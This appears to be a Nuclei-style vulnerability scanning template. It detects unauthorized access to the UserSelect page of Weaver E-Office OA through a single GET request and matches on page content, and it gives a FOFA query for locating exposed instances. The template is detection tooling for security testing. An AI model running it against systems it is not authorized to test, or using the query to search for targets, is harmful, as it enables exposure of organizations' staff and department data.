id: weaver-userselect-unauth

info:
  name: OA E-Office UserSelect Unauthorized Access
  author: SleepingBag945
  severity: high
  description: |
    OA E-Office UserSelect interface has an unauthorized access vulnerability, through which attackers can obtain sensitive information
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/WeaverEOfficeController.java
    - http://wiki.peiqi.tech/wiki/oa/泛微OA/泛微OA%20E-Office%20UserSelect%20未授权访问漏洞.html
  classification:
    cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: e-office
    fofa-query: app="泛微-EOffice"
  tags: weaver,e-office,oa,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/UserSelect/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<title>选择人员</title>"
          - "/UserSelect/dept.php"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210094227b2378525e1f1d3db0b036f7669c58a180509a8277fcedb752d1d8f5ec33022079166605f25ce2ed4606f71582adb3e5466a1d6196cde67055e453690165aa85:922c64590222798bb761d5b6d8e72950